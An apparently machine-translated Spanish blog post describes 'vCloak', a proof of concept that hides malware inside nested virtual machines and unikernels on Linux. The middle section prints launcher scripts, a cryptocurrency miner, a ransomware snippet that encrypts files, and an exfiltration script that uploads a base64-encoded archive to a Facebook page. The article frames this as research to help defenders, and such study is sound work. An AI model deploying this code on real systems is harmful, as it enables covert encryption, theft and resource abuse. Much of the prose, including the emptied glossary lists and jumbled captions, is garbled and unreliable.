Clever Geek Handbook

Camuflaje virtual: un enfoque malicioso de la virtualización





La virtualización es un arma de doble filo El 



desarrollo victorioso de la nube en los últimos años puede atribuirse a la mejora gradual de muchas tecnologías a la vez, relacionadas tanto con el hardware como con el software. Pero quizás la tecnología más conocida es aquella en la que convergen estas dos áreas: estamos hablando de virtualización. En términos simples, la virtualización es el acto de abstraer componentes de hardware (por ejemplo, procesador, memoria, unidades de disco, etc.) y representarlos en una capa de software que es más dinámica que el hardware y se escala mejor. Esta característica clave de la virtualización se presta a la creación de servicios en línea personalizados, confiables, de alta disponibilidad y bajo demanda, que hoy se denominan nube.   



Sin embargo, hay un lado oscuro en esta gran tecnología impulsada por paradigmas. Hay proveedores de la nube que se han beneficiado durante años de la abstracción que proporciona la virtualización y se utiliza para protegerlo, y hay atacantes que pronto se dieron cuenta de cómo la virtualización podría volverse en su contra. En los últimos años, se han observado algunas amenazas (algunas de ellas solo están pensadas conceptualmente, otras ya se encuentran en la práctica) utilizadas en intrusiones para enmascarar actividades maliciosas. Esto es "virtualización destructiva" o, como lo llamamos, "camuflaje virtual".  



En esta publicación, exploraremos quiénes podrían ser víctimas de estas tácticas, brindaremos una descripción general de la investigación destinada a comprender este segmento de amenazas, teniendo en cuenta las últimas técnicas de virtualización, examinando en detalle "vCloak" (camuflaje virtual) para Linux. . Este es un proyecto PoC comercializado como una "prueba de viabilidad". Crearemos malware camuflado de varias capas que sea discreto y minimalista, pero que aún tenga la portabilidad, la persistencia y la confiabilidad para las que se usa la virtualización. Queremos disipar los mitos que rodean a este nuevo vector de ataques y ayudarlo a comprender mejor cómo funciona este nuevo vector de ataques y explicar cómo un atacante puede usar la virtualización como arma. Tómate el tiempo para terminar de leer:Como beneficio adicional, también discutiremos algunas de las formas de mitigar la nocividad de estos ataques.





Como se mencionó anteriormente, la virtualización es un acto de abstracción del hardware. Pero para comprender mejor el material de esta publicación, debe profundizar un poco más en el tema. Entonces, avancemos rápidamente hasta el momento en el que comenzó la era de la virtualización. La idea de virtualizar hardware no es nueva; Sus raíces se remontan a la década de 1960, cuando IBM puso mucho esfuerzo en un nuevo concepto llamado tiempo compartido (Figura 2). En su forma más simple, el concepto se reduce a esto: los usuarios pueden compartir un procesador a través de un cambio de contexto rápido. Fue posible llegar a esta idea, notando que cada usuario tiene tiempo para consumir solo una pequeña fracción del potencial de toda la computadora. Considerando,que en aquellos días una computadora ocupaba toda una habitación y costaba unos 20 millones de dólares (ajustada por inflación), parecía recomendable aprovecharla al máximo. La virtualización moderna se basa en el mismo principio: compartir los recursos de la máquina, pero manteniendo una separación lógica.





Higo. 1: El panel de control de IBM 7094, donde se implementó por primera vez el concepto de tiempo compartido ( Imagen propiedad del usuario de Wikipedia ArnoldReinhold , con licencia de  Creative Commons BY-SA 3.0 )



Cómo comenzó la virtualización moderna



El artículo « Requisitos formales para arquitecturas de tercera generación virtualizables « («Requisitos formales de arquitecturas de tercera generación virtualizables»)  Gerald Popek y Robert Goldberg presentaron el primer modelo bien definido de virtualización, sentó las bases de los conceptos utilizados hasta el día de hoy (Figura 3 ). Este artículo ha introducido algunos requisitos básicos para la virtualización y ha clasificado y analizado varias instrucciones de la máquina. A continuación, en formato de hoja de trucos, se ofrece una descripción general de los conceptos antes mencionados.





1971 Representación // Cómo se veía la virtualización en 1971



Representación moderna // Representación



VMM moderna // Monitor de



hardware de máquina virtual // Hardware de



máquina virtual



// Aplicaciones de máquina virtual // Aplicaciones de



sistema operativo // Sistema operativo de máquina virtual // Monitor de máquina virtual / / Monitor de máquina virtual Máquina física / Hardware // Máquina física / Hardware Figura 2: Comparación: vista de Popeck frente a Goldberg frente a vista generalizada moderna (tomada de  usenix )



















Glosario de virtualización



  • /VMM ( ) –  «», : , . 
  • - – ( ), VMM
  • /VM/ – , , machine VMM
  • :
  • ( 0 – 3) ,  
  • ( 0) ( 3) VM VM/VMM
  •  (CPL),  CS ( )  ,  DPL ( ),  
  • :
  • , 0
  • (HLT, LIDT)
  • (INVLPG)
  • /   (RDMSR, WRMSR, MOV CRx)
  • OS
  •   — MMIO (- ) / (IN/OUT, MOV   <MEMORY_MAPPED_REGISTER>)

    - , (POPF)

    VM

  •  –  
  •  – , «»   
  • :
  • , ,   
  • - ,  
  • :
  • , API-  
  • , ,  
  •  –
  •  
  • , (., x86 vs AMD)




Figura 3: Tipos de virtualización



Virtualización // Hipervisores



bare metal //



Hipervisores bare metal // Hipervisores alojados //



Emuladores de hipervisores host // Emuladores de



virtualización de hardware // Virtualización de hardware



Comprensión intuitiva de la virtualización



El glosario anterior, como cualquier hoja de trucos, carece de contexto para la integridad de la percepción, pero hay muchas palabras de moda (ver Fig. 4). Intentaremos resumir lo más importante de estos elementos, sacrificando algunos detalles por claridad. Como puede ver en el glosario, una de las partes más difíciles del trabajo de virtualización es manejar instrucciones privilegiadas / sensibles. 



Las instrucciones privilegiadas son aquellas que permiten a la persona que llama tomar el control de los recursos críticos. Son esenciales para proteger el sistema de actividades maliciosas y programas no controlados del espacio del usuario. Se trata, por ejemplo, de instrucciones HLT (control del flujo de ejecución en la CPU con posibilidad de suspensión), el efecto en el mapeo de memoria al invalidar registros de página en el búfer asociativo de traducción  (INVLPG), o el acceso a registros especiales (RDMSR). , WRMSR, MOV CR). Las instrucciones privilegiadas pueden otorgar acceso sin restricciones a la máquina host (por ejemplo, control sobre todos los manejadores de interrupciones ).



Las instrucciones sensibles pueden interpretarse como instrucciones privilegiadas "desde el punto de vista" del huésped. Estos incluyen operaciones como interactuar con dispositivos de entrada / salida (IN / OUT), escribir en registros mapeados en memoria (MOV) o instrucciones que operan de manera diferente dependiendo del anillo de protección que se ejecute; tal es, por ejemplo, escribir en el registro EFLAGS  (POPF). Las instrucciones confidenciales pueden otorgar acceso sin restricciones a la máquina invitada (por ejemplo, escribir directamente en dispositivos de E / S y obtener privilegios de host). 



Los anillos de protección se utilizan para interceptar instrucciones privilegiadas y activar el kernel para procesar su ejecución. Sin embargo, no hace mucho tiempo no existía soporte de hardware para este tipo de recogida de instrucciones sensibles, lo que no es necesariamente un peligro para el host, pero para el invitado sigue siendo un punto de falla. Se utilizan técnicas basadas en software, como la emulación que utiliza traducción binaria estática o dinámica o la paravirtualización mediante la modificación del huésped, pero a costa de una grave degradación del rendimiento / flexibilidad.  



Como solución, se introdujo el soporte de hardware para instrucciones sensibles agregando otro anillo de seguridad (también llamado "anillo 1" o "modo de administración"). Esta práctica se generalizó en 2005 y 2006, cuando Intel y AMD introdujeron  VT-x  y  AMD-V , respectivamente. La optimización fue inicialmente muy sencilla y pocas operaciones de virtualización fueron asistidas por hardware. Pero pronto, este soporte se extendió a muchas otras operaciones, en particular, la  virtualización de la unidad de gestión de memoria (MMU).... La virtualización asistida por hardware es ahora la solución preferida debido a sus beneficios operativos y mayor seguridad, al tiempo que mantiene los costos de rendimiento al mínimo, invaluable en la nube. 



Virtualizar y proteger





Figura 4: Pila KVM-QEMU y flujo correspondiente (Imagen cortesía del usuario de Wikipedia  V4711 , con licencia de  Creative Commons BY-SA 4.0 )



La razón más importante para la virtualización es aprovechar al máximo sus recursos y, al mismo tiempo, mantener sus recursos seguros y aislados entre sí. Los hipervisores modernos, equipados con las últimas capacidades de software y hardware, le permiten crear una variedad de máquinas virtuales aisladas; desde los sistemas operativos clásicos con todas las funciones (digamos Ubuntu) hasta los MicroVM mínimos modernos que ejecutan kernels livianos (por ejemplo, Firecracker + OSv). El aislamiento de recursos como la memoria, los dispositivos del sistema de archivos y el kernel protege tanto a la VM host como a otras VM invitadas de la intrusión de una VM invitada comprometida.



Por ejemplo, si un exploit del kernel se ejecutó con éxito en una máquina virtual invitada y un atacante obtuvo derechos de administrador sobre él, aún no rompería el aislamiento. Si no tiene una vulnerabilidad de hipervisor, la VM host y otras VM invitadas no se verán afectadas por la intrusión, ya que ellas y la máquina comprometida tienen kernels diferentes. Como cualquier otra estrategia de seguridad, la virtualización no resuelve todos los problemas; la virtualización está asociada con vectores de ataque únicos inherentes solo a ella. A continuación, se muestran algunos ejemplos de ataques específicos dirigidos específicamente a las vulnerabilidades de la virtualización:



  • Controladores y uso compartido (figura 5, círculo n. ° 1):
  • Instantáneas (Figura 5, Círculo n. ° 2):
  • Escape de la caja de arena (Figura 5, Círculo n. ° 3):
  • Tipos de vulnerabilidades:




Virtualizar y atacar



Muchos de los principios básicos que hacen de la virtualización un enfoque defensivo tan eficaz y versátil pueden convertirse en armas. La idea en sí no es nueva, ya se han realizado estudios de tales amenazas. Se puede mencionar Bashware , que mostró cómo WSL (una solución virtualizada para ejecutar un subsistema de Linux en Windows) podría adoptarse para ocultar el malware de todos los mecanismos de defensa modernos.



El 14 de mayo de 2020, esta teoría quedó bien confirmada en la práctica, cuando la noticia se inundó con informes de una nueva cepa de ransomware llamada " RagnarLocker. " Sus víctimas fueron grandes empresas que operan en el campo de los juegos, la energía y el alcohol. Un VirtualBox pequeño, confiable y firmado digitalmente, ejecutaba una pequeña máquina virtual de Windows XP (menos de 500 MB), lo que le permitía encriptar y obtener datos en secreto de la máquina de la víctima. Más tarde ese año, el cartel del Laberinto siguió la misma estrategia .



Todos los ataques discutidos anteriormente usaron VirtualBox  y es bastante pesado como contenedor de malware. Además, no depende de los beneficios de la virtualización asistida por hardware . Antes de sumergirnos en el tema, echemos un vistazo más de cerca a los aspectos cualitativos de la virtualización que un atacante puede aprovechar:



  •  – ,
  •  – , , , ,  
  •  — VM
  • « SSL-» – MicroVM , ( SSL MITM)
  •  – , , ,  
  •  — ,
  • – ,  
  •  – , (»ShadowBunny«)
  • – ,  


Con una invasión importante, la virtualización tiene un beneficio. Las sugerencias pueden resumirse como una unidad de ejecución confiable y usarse para realizar operaciones que causarían sospechas en un contexto diferente, por ejemplo, ejecutar silenciosamente código malicioso y robar datos. Estos beneficios persisten porque la tecnología de virtualización es todavía bastante nueva y este aspecto oscuro de la virtualización no está recibiendo la atención que merece. Como se mencionó en la introducción de esta publicación, aquí intentaremos brindarle información y herramientas para ayudarlo a defenderse de tales amenazas. Para hacer esto, considere el problema desde el punto de vista del atacante y desarrolle una prueba de la viabilidad de tal intrusión a través de la virtualización paso a paso.



Virtualización asistida por hardware y KVM



La funcionalidad de sabotaje en nuestro proyecto de capacitación se implementa en gran parte utilizando un hipervisor ubicado tanto en el espacio del kernel como en el espacio del usuario. En esta investigación, experimentamos con algunas implementaciones gratuitas; un análisis detallado de su estructura interna está más allá del alcance de este artículo.



En pocas palabras, la virtualización asistida por hardware es posible gracias a dos modos de procesador adicionales (privilegios de administrador para VMM y su ausencia para un invitado), así como instrucciones especiales de Intel escritas en ensamblador (para una interceptación eficiente), que en su mayoría son ejecutadas por el kernel. . A continuación, se muestran algunos ejemplos:



Modo de administrador



  • VMXOFF, VMXON
  • VMWRITE y VMREAD


Modo no privilegiado (invitado)



  • VMLUANCH y VMRESUME


VMLUANCH está organizado de manera un poco diferente, ya que se puede ejecutar desde la VM invitada para ceder el control al kernel, o cambiando al kernel usando una interrupción (de la que ya hablamos en la introducción) o VMEXIT. La tarea de su socio de espacio de usuario es asignar todas las estructuras de memoria, definir los controladores VMEXIT de acuerdo con las diversas necesidades de VMEXIT y adjuntar otros recursos emulados / virtualizados.



Afortunadamente, para aquellos que no quieran construir todo desde cero, el kernel moderno de Linux es compatible con KVM (kvm.ko); este módulo del kernel realmente convierte el kernel de Linux en un hipervisor. KVM proporciona capacidades Intel VT-x a través de la interfaz ioctl (2). KVM también utiliza activamente las capacidades integradas del kernel de Linux para administrar sandboxes, que (en la versión reforzada) se conocen mejor como máquinas virtuales.



Historial de ataques



Un ataque de este tipo implica el uso privilegiado de una máquina host de Ubuntu comprometida que tiene VT-x habilitado. El ataque utiliza cargas de información maliciosa (mineros y ransomware), ejecutándose de manera invisible en un host comprometido, oculto detrás de un disfraz virtual hecho por uno mismo (Figura 6)



  1. Un proceso con privilegios bifurca y descomprime "vCloak1" en un proceso hijo (supuesto)
  2. “VCloak1” configura y ejecuta el nivel L1 de nuestro camuflaje, la máquina virtual Ubuntu Minimal en QEMU.
  3. Desde Ubuntu "vCloak2" configura y ejecuta la Capa 2 (L2) de nuestro camuflaje, estas son las tres aplicaciones OSv (explicadas a continuación ...):


 

¡Es hora de arremangarse! Para una mejor legibilidad, omitiremos algunos de los fragmentos de código y desglosaremos otros en detalle. Lo invitamos a explorar completamente el código para esta implementación, así como las herramientas e información relacionadas; todo esto se encuentra en el repositorio, cuyo enlace se da a continuación.







Figura 5: Progreso del ataque



Preparando el camuflaje para el nivel 1



Construyamos vCloak1, que nos permitirá realizar el primer nivel de nuestro encubrimiento. Usemos una máquina virtual mínima para Ubuntu (también podríamos haber  compilado Ubuntu para petardos ) con QEMU. Este paso se implementa usando vcloak1.sh, que es ejecutado automáticamente por el punto de entrada supuestamente privilegiado:  



attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git

attacker@host:~$ cd PoC

attacker@host:~/PoC$ cat vcloak1.sh 

#   virtio,     

virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ #    Ubuntu 

qemu-system-x86_64 \

-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \

-device vhost-user-fs-pci,chardev=char0,tag=myfs \

-object memory-backend-memfd,id=mem,size=4G,share=on \

-numa node,memdev=mem \

attacker@host:~/PoC$ ./vcloak1.sh #    ,




Listado 1: Camuflaje virtual de nivel 1 de construcción, Ubuntu mínimo en QEMU con virtiofs



En este punto hemos alcanzado la primera frontera de virtualización. Una vez que se carga vCloak1, ejecuta vCloak2, configurando y ejecutando el segundo nivel de nuestro camuflaje.



Preparando el camuflaje para el nivel 2 



vCloak2 ejecuta el kernel VT-x con un cableado de sistema mínimo (Unikernel) desde dentro de la máquina virtual. Por lo tanto, nuestra VM invitada de nivel 1 también debe admitir KVM y VT-x (esto es fácil de probar; consulte el Listado 2), por lo que puede funcionar como una máquina host independiente. Esta característica recursiva se conoce como virtualización anidada.  



attacker@vcloak1:~/PoC$ lsmod | grep kvm #   KVM 

kvm_intel 282624 0

kvm 663552 1 kvm_intel


Listado 2: Comprobando KVM y construyendo el nivel 2 de nuestro camuflaje El



segundo nivel de nuestro camuflaje se implementa como un script vcloak2.py, que es ejecutado automáticamente por la tarea crontab. Ejecuta tres máquinas virtuales de petardo diferentes que pueden comunicarse a través de un socket compartido. Cada VM ejecuta un kernel de Unikernel, pasado como "kernel.elf", con un solo proceso que se ejecuta desde el directorio raíz ("/") del sistema de archivos, pasado como "fs.img". A continuación explicaremos la naturaleza de estos procesos, pero por ahora solo describiremos la configuración inicial y ejecución de una máquina virtual típica con tecnología de petardo. 



attacker@vcloak1:~$ cat vcloak2.py #       crontab

def main(options):

# ,   firecracker is installed

dirname = os.path.dirname(os.path.abspath(__file__))

firecracker_path = find_firecracker(dirname, options.arch)

# Firecracker ,   

print_time(«Start»)

socket_path = '/tmp/firecracker.socket'

if options.api:

firecracker = start_firecracker(firecracker_path, socket_path)

#  ,         

kernel_path = options.kernel

if not kernel_path:

kernel_path = os.path.join(dirname, '../build/release/kernel.elf')

qemu_disk_path = options.image

if not qemu_disk_path:

qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')

raw_disk_path = disk_path(qemu_disk_path)

cmdline = options.execute

if not cmdline:

with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:

cmdline = f.read()

if options.arch == 'aarch64':

cmdline = «console=tty --disable_rofs_cache %s» % cmdline

else:

cmdline = «--nopci %s» % cmdline

client.configure_machine(options.vcpus, memory_in_mb)

print_time(«Configured VM»)

client.add_disk(raw_disk_path)

print_time(«Added disk»)

if options.networking:

client.add_network_interface('eth0', 'fc_tap0')

client.create_instance(kernel_path, cmdline)

print_time(«Created OSv VM with cmdline: %s» % cmdline)

if not options.api:

if options.verbose:

print(client.firecracker_config_json())

firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())

else:

client.start_instance()

print_time(«Booted OSv VM»)

attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab

attacker@vcloak1:~$ sudo apt update


Listado 3: vcloak2.py ejecuta tres contenedores VT-x



Hasta ahora, está bien, pero ¿qué están ejecutando estas instancias de petardos? Para sembrar la historia del ataque, ya se ha mencionado que están ejecutando aplicaciones OSv . OSv es un kernel unikernel modular, de uso general y gratuito, diseñado para admitir de forma segura una única  aplicación de Linux no modificada como microVM en la parte superior de un hipervisor, lo que da como resultado un kernel mínimo que es binario compatible con Linux. Soluciones como OSv son, en comparación con MicroVM, el siguiente paso hacia el minimalismo; cuando se crea un kernel unikernel para cada aplicación, se obtiene una aplicación OSv con un kernel comprimido hasta la sequedad.



Veamos lo fácil que es crear una aplicación OSv a partir de código nativo C ++: 



attacker@vcloak1:~$ sudo apt update 

attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev

attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository

attacker@vcloak1:~$ cd osv

attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies

attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app

total 40

-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello

-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c

-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile

-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py

-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README

-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest

attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code

#include 

int main(){

printf(«Hello from C code\n»);

return 0;

}

attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel

attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /hello

Hello from C code


Listado 4: Construyendo y ejecutando un programa C simple con OSv como envoltorio



De manera similar, puede construir una aplicación OSv en Python: 



In a very similar way we can build an OSv app with python:

attacker@vcloak1:~/osv$ ./scripts/build image=python2x

attacker@vcloak1:~/osv$ ./scripts/run.py

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /python

Python 2.7.18 (default, Aug 4 2020, 11:16:42) 

[GCC 9.3.0] on linux2

Type «help», «copyright», «credits» or «license» for more information.

>>>




Listado 5: Creación y ejecución de un programa Python simple con OSv como envoltorio 



Como se demostró brevemente anteriormente, OSv es una forma poderosa y fácil de convertir aplicaciones comunes en aplicaciones Unikernel. Combinado con una máquina micro-virtual como Firecracker (o incluso opciones de virtualización de hardware más pequeñas) crea una carga útil virtualizada mínima pero de alto rendimiento. Obtenga más información sobre este gran producto en la página de OSv GitHub . En esta etapa, todo lo que nos queda por terminar es escribir el código python necesario para cada una de las tres aplicaciones OSv, como prometimos.





Figura 6: La virtualización anidada puede ser un poco confusa a veces 



Virtualización anidada



Observamos cómo se creó nuestro camuflaje capa por capa y rastreamos el despliegue de malware desde la primera ejecución privilegiada hasta la creación de muchos núcleos Unikernel mínimos que forman la segunda capa de nuestro camuflaje. Estos kernels de Unikernel (nivel 2) se virtualizan usando VT-x, KVM y firecracker encima de otra máquina virtual que ejecuta Ubuntu (nivel 1), aunque firecracker también se puede usar en este nivel.



Este estado "rudimentario" se puede lograr gracias a la virtualización anidada, una función compatible con KVM. Esta virtualización permite que la máquina invitada actúe como máquina host. En este artículo, he utilizado el término "nivel de camuflaje" de manera bastante vaga, por lo que el significado de este término puede ser más claro si lo comparamos con los términos KVM para describir la virtualización anidada (es decir, L1 es una máquina virtual que se ejecuta desde un host físico; L2 es una máquina virtual que se ejecuta desde la máquina invitada L1).



Creación de mineros



En el transcurso de los estudios descritos se han realizado muchos intentos de disfrazar, tanto se crearon mineros de código abierto, aptos para uso real, como herramientas minimalistas de este tipo, que solo pueden servir como prueba de viabilidad. Para simplificar, presentaremos rápidamente un minero de código abierto desarrollado por subhan-nadeem : 



attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #   

import hashlib

def get_sha_256_hash(input_value):

return hashlib.sha256(input_value).hexdigest()

def block_hash_less_than_target(block_hash, given_target):

return int(block_hash, 16) < int(given_target, 16)

#     (  ,  ,  ,  ,   )

blockData = \

'01000000000000000000000000000000000000000000000000000000000000000000000' \

'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \

'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \

'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \

'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \

'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \

'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \

'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \

.encode()

#   –    ,   -      

target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'

solution_found = False

block_data_hexadecimal_value = int(blockData, 16)

nonce = 0

while not solution_found:

block_data_with_nonce = block_data_hexadecimal_value + nonce

#   

first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())

second_hash = get_sha_256_hash(first_hash.encode())

print('Nonce: ' + str(nonce))

print('Block hash:')

print(second_hash)

print('Is the block hash less than the target?')

solution_found = block_hash_less_than_target(second_hash, target)

print(solution_found)

if not solution_found:

nonce += 1




Listado 6: fragmentos de código del minero



Generando el código ransomware

Al igual que en el caso de los mineros, se han probado muchas soluciones para el papel de ransomware. Pero en aras de la claridad, echaremos un vistazo a la versión PoC del ransomware de guihermej : 



attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #   

#  

file_name = «foto.jpg»

file = open(file_name, «rb»)

file_data = file.read()

file.close()

#  

#os.remove(file_name)

#    (  AES)

key = «0123456789abcdef» # 16-  –    

aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

#  

new_file_name = file_name + «.pyransom» # ,   

new_file = open(new_file_name, 'wb')

new_file.write(crypto_data)

new_file.close()




Listado 7: fragmentos de código del ransomware



Creando un extractor



La tarea de este componente es sencilla. Escucha la entrada del minero o del ransomware y luego la envía de forma segura a una API confiable (por ejemplo, Facebook). En esta parte, obtenemos el llamado "anclaje de certificado SSL gratuito". Nuevamente, resolveremos las tareas que tenemos ante nosotros utilizando el poder del código abierto. Esta vez basamos nuestro código en un proyecto de GitHub de zone13 . 



attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #   

import facebook, time, base64, textwrap

def main():

cfg = {

#       ,   

«page_id» : «»,

«access_token» : «»

}

api = get_api(cfg)

#  zip-         base-64

msg = file_read_into_array()

# ,    

chunks = (len(msg) / float(50000)) 

if isinstance(chunks, float) or (a == 0):

chunks = int(chunks) + 1

#   base-64    50 000   

file_array = textwrap.wrap(msg, 50000)

#     Facebook 

for i in range(chunks):

status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])

time.sleep(0.5)

#    zip-   base-64 

def file_read_into_array():

with open(«secret.zip», «rb») as f:

a = f.read()

encoded_data = base64.encodestring(a)

return encoded_data

#       Facebook

def get_api(cfg):

graph = facebook.GraphAPI(cfg['access_token'])

resp = graph.get_object('me/accounts')

page_access_token = None

for page in resp['data']:

if page['id'] == cfg['page_id']:

page_access_token = page['access_token']

graph = facebook.GraphAPI(page_access_token)

return graph

if __name__ == «__main__»:

main()


Listado 8: Fragmentos de código de extractor



Repetición y análisis



Repitamos lo que hicimos. Como prueba de viabilidad, escribimos un código malicioso que extrae, cifra y pesca datos del host afectado. La carga útil primaria forma la primera capa de camuflaje (o virtualización) con una máquina micro virtual basada en Ubuntu en la que presumiblemente confía el host.



De ahora en adelante, la memoria de todos los procesos se representará como una sola mancha binaria aplanada. Todas las llamadas a la API y el ecosistema del sistema operativo incluido en MicroVM son invisibles desde el exterior. Los certificados MicroVM no reflejan la configuración del host, estos certificados están ocultos para el host (en particular, esto le permite ocultarse de las herramientas de análisis de tráfico mediante la protección MITM SSL).





Figura 7: La pila de software vCloak; Las líneas de color indican los límites de las áreas de virtualización individuales 



Una vez que MicroVM complete el proceso de arranque, cargará tres núcleos Unikernel diferentes basados ​​en VT-x y Firecracker, y estos núcleos contendrán lógica maliciosa. Con la ayuda de tales kernels de Unikernel, se introduce otro nivel de caos en el modelo de memoria, no solo porque aquí se agrega otra capa de virtualización, sino también porque el espacio de usuario y el espacio del kernel no están separados entre sí en el kernel de Unikernel. Toda esta distorsión complica seriamente el trabajo del operador de la primera máquina anfitriona, que descubrió la primera capa de camuflaje y quiere invertir su lógica.



El malware resultante de múltiples capas disfrazado no solo es más insidioso que nunca, sino que también tiene un tamaño mínimo y, por lo tanto, es altamente portátil. Dado que la máquina virtual proporciona todo el entorno, hay menos posibilidades de fallas debido a problemas de computabilidad o dependencia.



Más investigación y optimización





Figura 8: Tabla de autoevaluación



La tabla anterior muestra las diversas técnicas (columnas de la Figura 9), organizadas por aspecto del ataque y la idoneidad de un vector de ataque en particular (primera fila de la Figura 9). Las técnicas discutidas en este artículo se enumeran en celdas verdes, y otros ángulos que también abordamos en el curso del estudio se enumeran en celdas blancas. Antes de intentar dar algunos consejos y concluir esta publicación, echemos un vistazo a cómo “fortalecer” nuestro malware utilizando las técnicas mencionadas en los cuadros blancos de la tabla anterior (Figura 8).



  •  Extractor de memoria compartida : puede configurar el extractor para que comparta la memoria con el malware y, por lo tanto, no brille tanto en los datos compartidos.
  •  – - , .
  •  – , , xmrig GonnaCry, .
  •  – vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
  •  – firecracker, , .
  •  – KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
  •  – , , , MAP_EXCLUSIVE, SGX SVE\SME .
  • Alcance extendido del ataque a un host  : no utilizamos tales oportunidades, ya que su discusión está más allá del alcance de este artículo. Es cierto que existen vulnerabilidades conocidas que harían que el camuflaje fuera aún más efectivo.


Finalmente, no se puede dejar de mencionar: aunque esto no se aplica a los propósitos de este estudio, resultó que es mucho más conveniente trabajar con hipervisores, ya que estos programas son populares, se sabe que tienen muchas vulnerabilidades y la frecuencia de las actualizaciones de los hipervisores varía. Las vulnerabilidades del hipervisor se pueden aprovechar para mejorar el rendimiento del camuflaje. La carrera entre atacantes y guardias de red es implacable y sin concesiones. Esperamos que la información proporcionada en este artículo ayude a los lectores a profundizar un poco en el tema.  



Instrumentos



Mientras investigaba la virtualización, creé varias herramientas que me ayudaron en esta investigación:





Elimina la amenaza



El universo de máquinas virtuales y sistemas operativos se está expandiendo rápidamente, y al mismo tiempo surgen nuevas capacidades de software y hardware. Investigar estas nuevas capacidades desde la perspectiva de la implementación de malware puede ayudar a los



equipos de ciberseguridad Eliminar algunos de los comportamientos maliciosos enmascarados por la virtualización es un desafío porque no hay nada visible en el espacio virtualizado. Hay algunas formas de resaltar estos puntos ciegos, pero actualmente no existe una solución estándar o nativa de este tipo. Sin embargo, si examina toda la cadena de ataque, puede encontrar algunas contramedidas muy efectivas para contrarrestar la virtualización maliciosa.  



Qué se puede hacer / recursos disponibles:





Parcialmente disponible o no disponible:



  • Visibilidad dentro del estado de la máquina virtual
  • Crea un monitor de máquina virtual
  • Identificación de anomalías en el consumo de recursos del host por parte de una máquina virtual 


Conclusión



¡La virtualización es genial! Muchas cosas innovadoras se basan en la abstracción proporcionada por la virtualización, como nubes, máquinas de punto final e incluso los últimos automóviles. La virtualización mejora el rendimiento y la seguridad en general, pero también tiene un lado oscuro. Como han demostrado los recientes ataques del mundo real, y como se comenta en este artículo, un atacante puede aprovechar muchas de las capacidades de la virtualización. El uso de las últimas tecnologías, en particular VT-x y el sandboxing minimalista, hace que la virtualización sea aún más sutil. 



El propósito de vCloak es proporcionar una introducción práctica al problema de cómo se puede usar la virtualización para implementar malware de manera invisible, de modo que los usuarios estén al tanto de este tipo de amenazas y puedan defenderse de ellas.



El artículo también menciona algunos de los métodos para eliminar tales amenazas que están disponibles en la actualidad, además de soluciones planificadas para el futuro. Una oportunidad importante que debe implementarse para hacer que la protección contra la virtualización maliciosa sea una tarea más desafiante es aumentar la transparencia de los procesos que tienen lugar en la máquina virtual, así como ocuparse de la neutralización efectiva de las amenazas. La industria de la seguridad cibernética se está desarrollando y manteniendo el ritmo de las soluciones modernas para la virtualización, pero ahora es el momento de tener cuidado con estas amenazas y crear protección contra ellas con anticipación.





Los servidores en la nube de Macleod son rápidos y seguros.



Regístrese usando el enlace de arriba o haciendo clic en el banner y obtenga un 10% de descuento durante el primer mes de alquiler de un servidor de cualquier configuración.





More articles:


All Articles